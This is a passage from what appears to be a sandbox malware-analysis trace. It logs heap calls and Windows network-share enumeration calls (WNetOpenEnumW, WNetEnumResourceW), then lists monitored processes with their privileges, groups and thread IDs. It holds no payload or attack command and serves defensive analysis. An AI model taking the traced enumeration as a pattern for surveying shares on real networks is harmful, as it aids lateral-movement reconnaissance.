1 [0115.973] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6145c10 | out: hHeap=0x35b0000) returned 1 [0115.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61624c0 [0115.973] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162508 [0115.973] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x61e3ac0, lphEnum=0x6b9fe28 | out: lphEnum=0x6b9fe28*=0x6b9fe44) returned 0x4b8 [0128.864] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162478 | out: hHeap=0x35b0000) returned 1 [0128.864] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162430 | out: hHeap=0x35b0000) returned 1 [0128.864] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161758 [0128.864] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161640 [0128.864] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x150) returned 0x3609350 [0128.864] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162430 [0128.864] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x6162478 [0128.864] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x61621a8 [0128.864] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x40) returned 0x67836d0 [0128.864] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162598 | out: hHeap=0x35b0000) returned 1 [0128.865] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161e00 | out: hHeap=0x35b0000) returned 1 [0128.865] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6162508 | out: hHeap=0x35b0000) returned 1 [0128.865] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61624c0 | out: hHeap=0x35b0000) returned 1 [0128.865] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61849c8 | out: hHeap=0x35b0000) returned 1 [0128.865] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161790 [0128.865] RtlAllocateHeap (HeapHandle=0x35b0000, Flags=0x0, Size=0x30) returned 0x6161678 [0128.865] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x61e3ae0, lphEnum=0x6b9fe28 | out: lphEnum=0x6b9fe28*=0x6b9fe44) returned 0x4c6 [0128.867] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161640 | out: hHeap=0x35b0000) returned 1 [0128.867] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6161758 | out: hHeap=0x35b0000) returned 1 [0128.867] WNetEnumResourceW (in: hEnum=0x6183808, lpcCount=0x6b9fedc, lpBuffer=0x61e3aa0, lpBufferSize=0x6b9fed8 | out: lpcCount=0x6b9fedc, lpBuffer=0x61e3aa0, lpBufferSize=0x6b9fed8) returned 0x103 [0128.867] WNetCloseEnum (hEnum=0x6183808) returned 0x0 [0128.867] SendMessageW (hWnd=0x200dc, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 364 os_tid = 0x570 Thread: id = 379 os_tid = 0x7d8 Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x99db000" os_pid = "0x3fc" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "18" os_parent_pid = "0x4cc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc25" [0xc000000f], "LOCAL" [0x7] Thread: id = 193 os_tid = 0x7e4 Thread: id = 194 os_tid = 0x7bc Thread: id = 195 os_tid = 0x7a4 Thread: id = 196 os_tid = 0x598 Thread: id = 197 os_tid = 0x14c Thread: id = 198 os_tid = 0x154 Thread: id = 199 os_tid = 0x130 Thread: id = 200 os_tid = 0x128 Thread: id = 201 os_tid = 0x12c Thread: id = 202 os_tid = 0xc8 Thread: id = 239 os_tid = 0x7f8 Thread: id = 240 os_tid = 0x424 Thread: id = 241 os_tid = 0x3d8 Thread: id = 264 os_tid = 0x428 Thread: id = 266 os_tid = 0x4e8 Thread: id = 267 os_tid = 0x4d8 Thread: id = 378 os_tid = 0x53c Thread: id = 381 os_tid = 0x590 Process: id = "20" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x7abc000" os_pid = "0x37c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x3fc" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 203 os_tid = 0x640 Thread: id = 204 os_tid = 0x628 Thread: id = 205 os_tid = 0x61c Thread: id = 206 os_tid = 0x618 Thread: id = 207 os_tid = 0x608 Thread: id = 208 os_tid = 0x5f8 Thread: id = 209 os_tid = 0x5d0 Thread: id = 210 os_tid = 0x5c8 Thread: id = 211 os_tid = 0x59c Thread: id = 212 os_tid = 0x5a0 Thread: id = 213 os_tid = 0x594 Thread: id = 214 os_tid = 0x574 Thread: id = 215 os_tid = 0x568 Thread: id = 216 os_tid = 0x560 Thread: id = 217 os_tid = 0x550 Thread: id = 218 os_tid = 0x520 Thread: id = 219 os_tid = 0x4f4 Thread: id = 220 os_tid = 0x4ec Thread: id = 221 os_tid = 0x4c0 Thread: id = 222 os_tid = 0x4bc Thread: id = 223 os_tid = 0x4b8 Thread: id = 224 os_tid = 0x4b4 Thread: id = 225 os_tid = 0x4a4 Thread: id = 226 os_tid = 0x49c Thread: id = 227 os_tid = 0x498 Thread: id = 228 os_tid = 0x494 Thread: id = 229 os_tid = 0x48c Thread: id = 230 os_tid = 0x3d8 Thread: id = 231 os_tid = 0x268 Thread: id = 232 os_tid = 0x174 Thread: id = 233 os_tid = 0x18c Thread: id = 234 os_tid = 0x150 Thread: id = 235 os_tid = 0x144 Thread: id = 236 os_tid = 0x3a8 Thread: id = 237 os_tid = 0x3a4 Thread: id = 238 os_tid = 0x110 Thread: id = 316 os_tid = 0x134 Thread: id = 344 os_tid = 0x5e8 Thread: id = 383 os_tid = 0x564 Thread: id = 386 os_tid = 0x30c Thread: id = 420 os_tid = 0x228 Thread: id = 421 os_tid = 0x5c4 Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xb9c4000" os_pid = "0x33c" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ba84" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 242 os_tid = 0x40c Thread: id = 243 os_tid = 0x7ec Thread: id = 244 os_tid = 0x7d0 Thread: id = 245 os_tid = 0x71c Thread: id = 246 os_tid = 0x714 Thread: id = 247 os_tid = 0x408 Thread: id = 248 os_tid = 0x120 Thread: id = 249 os_tid = 0x118 Thread: id = 250 os_tid = 0x3f4 Thread: id = 251 os_tid = 0x3f0 Thread: id = 252 os_tid = 0x3e8 Thread: id = 253 os_tid = 0x3e4 Thread: id = 254 os_tid = 0x3d4 Thread: id = 255 os_tid = 0x3d0 Thread: id = 256 os_tid = 0x390 Thread: id = 257 os_tid = 0x38c Thread: id = 258 os_tid = 0x388 Thread: id = 259 os_tid = 0x384 Thread: id = 260 os_tid = 0x36c Thread: id = 261 os_tid = 0x368 Thread: id = 262 os_tid = 0x354 Thread: id = 263 os_tid = 0x340 Thread: id = 265 os_tid = 0x4b0 Thread: id = 361 os_tid = 0x5bc Thread: id = 362 os_tid = 0x784 Thread: id = 363 os_tid = 0x5b8 Thread: id = 385 os_tid = 0x344 Thread: id = 387 os_tid = 0x368 Process: id = "22" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa6cb000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "21" os_parent_pid = "0x33c" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000ce78" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 268 os_tid = 0x4f8 Thread: id = 269 os_tid = 0x4fc Thread: id = 270 os_tid = 0x4c4 Thread: id = 271 os_tid = 0x4c8 Thread: id = 272 os_tid = 0x4dc Thread: id = 273 os_tid = 0x480 Thread: id = 274 os_tid = 0x4a8 Thread: id = 275 os_tid = 0x44c Thread: id = 276 os_tid = 0x7f0 Thread: id = 277 os_tid = 0x7b4 Thread: id = 278 os_tid = 0x7a0 Thread: id = 279 os_tid = 0x79c Thread: id = 280 os_tid = 0x794 Thread: id = 281 os_tid = 0x790 Thread: id = 282 os_tid = 0x78c Thread: id = 283 os_tid = 0x788 Thread: id = 284 os_tid = 0x780 Thread: id = 285 os_tid = 0x770 Thread: id = 286 os_tid = 0x764 Thread: id = 287 os_tid = 0x760 Thread: id = 288 os_tid = 0x758 Thread: id = 289 os_tid = 0x750 Thread: id = 290 os_tid = 0x74c Thread: id = 291 os_tid = 0x744 Thread: id = 292 os_tid = 0x740 Thread: id = 293 os_tid = 0x73c Thread: id = 294 os_tid = 0x738 Thread: id = 295 os_tid = 0x730 Thread: id = 296 os_tid = 0x724 Thread: id = 297 os_tid = 0x548 Thread: id = 298 os_tid = 0x434 Thread: id = 299 os_tid = 0x438 Thread: id = 300 os_tid = 0x4e4 Thread: id = 301 os_tid = 0x4ac Thread: id = 302 os_tid = 0x4a0 Thread: id = 303 os_tid = 0x490 Thread: id = 304 os_tid = 0x484 Thread: id = 305 os_tid = 0x124 Thread: id = 306 os_tid = 0x11c Thread: id = 307 os_tid = 0xf0 Thread: id = 308 os_tid = 0x3f8 Thread: id = 309 os_tid = 0x3ec Thread: id = 310 os_tid = 0x3a0 Thread: id = 311 os_tid = 0x39c Thread: id = 312 os_tid = 0x398 Thread: id = 313 os_tid = 0x394 Thread: id = 314 os_tid = 0x380 Thread: id = 315 os_tid = 0x378 Thread: id = 365 os_tid = 0x56c Thread: id = 366 os_tid = 0x5a0 Thread: id = 367 os_tid = 0x274 Thread: id = 368 os_tid = 0x7ac Thread: id = 369 os_tid = 0x7b0 Thread: id = 370 os_tid = 0x7c4 Thread: id = 371 os_tid = 0x498 Thread: id = 372 os_tid = 0x4d8 Thread: id = 373 os_tid = 0x7e8 Thread: id = 374 os_tid = 0x230 Thread: id = 375 os_tid = 0x4d4 Thread: id = 376 os_tid = 0x49c Thread: id = 377 os_tid = 0x4f0 Thread: id = 388 os_tid = 0x54c Thread: id = 389 os_tid = 0x5cc Thread: id = 390 os_tid = 0x608 Thread: id = 391 os_tid = 0x534 Thread: id = 392 os_tid = 0x508 Thread: id = 393 os_tid = 0x65c Thread: id = 394 os_tid = 0x658 Thread: id = 395 os_tid = 0x638 Thread: id = 417 os_tid = 0x48c Thread: id = 418 os_tid = 0x644 Thread: id = 419 os_tid = 0x5b0 Process: id = "23" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x76b8f000" os_pid = "0x5d8" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "19" os_parent_pid = "0x3fc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00018f9f" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 317 os_tid = 0x34c Thread: id = 318 os_tid = 0x47c Thread: id = 319 os_tid = 0x468 Thread: id = 320 os_tid = 0x42c Thread: id = 321 os_tid = 0x404 Thread: id = 322 os_tid = 0x7fc Thread: id = 323 os_tid = 0x7f4 Thread: id = 324 os_tid = 0x7e0 Thread: id = 325 os_tid = 0x7a8 Thread: id = 326 os_tid = 0x6c4 Thread: id = 327 os_tid = 0x6c0 Thread: id = 328 os_tid = 0x6bc Thread: id = 329 os_tid = 0x6b8 Thread: id = 330 os_tid = 0x6b0 Thread: id = 331 os_tid = 0x688 Thread: id = 332 os_tid = 0x67c Thread: id = 333 os_tid = 0x674 Thread: id = 334 os_tid = 0x668 Thread: id = 335 os_tid = 0x630 Thread: id = 336 os_tid = 0x624 Thread: id = 337 os_tid = 0x610 Thread: id = 338 os_tid = 0x604 Thread: id = 339 os_tid = 0x5ec Thread: id = 340 os_tid = 0x5dc Thread: id = 380 os_tid = 0x7dc Thread: id = 382 os_tid = 0x350 Thread: id = 384 os_tid = 0x7c8 Process: id = "24" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x7051e000" os_pid = "0x5f4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 347 os_tid = 0x680 Thread: id = 348 os_tid = 0x678 Thread: id = 349 os_tid = 0x670 Thread: id = 350 os_tid = 0x35c Thread: id = 351 os_tid = 0x364 Thread: id = 352 os_tid = 0x360 Thread: id = 353 os_tid = 0x620 Process: id = "25" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x6f023000" os_pid = "0x6ac" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e2bd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 354 os_tid = 0x72c Thread: id = 355 os_tid = 0x720 Thread: id = 356 os_tid = 0x718 Thread: id = 357 os_tid = 0x70c Thread: id = 358 os_tid = 0x710 Thread: id = 359 os_tid = 0x700 Thread: id = 360 os_tid = 0x6b4 Process: id = "26" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x1ebbc000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b565" [0xc000000f], "LOCAL" [0x7] Thread: id = 396 os_tid = 0x504 Thread: id = 397 os_tid = 0x618 Thread: id = 398 os_tid = 0x90 Thread: id = 399 os_tid = 0x330 Thread: id = 400 os_tid = 0x218 Thread: id = 401 os_tid = 0x69c Thread: id = 402 os_tid = 0x698 Thread: id = 403 os_tid = 0x694 Thread: id = 404 os_tid = 0x648 Thread: id = 405 os_tid = 0x5d4 Thread: id = 406 os_tid = 0x454 Thread: id = 407 os_tid = 0x43c Thread: id = 408 os_tid = 0x430 Thread: id = 409 os_tid = 0x418 Thread: id = 410 os_tid = 0x3c4 Thread: id = 411 os_tid = 0x3bc Thread: id = 412 os_tid = 0x3ac Thread: id = 413 os_tid = 0x300 Thread: id = 414 os_tid = 0x2fc Thread: id = 415 os_tid = 0x2d8 Thread: id = 416 os_tid = 0x2cc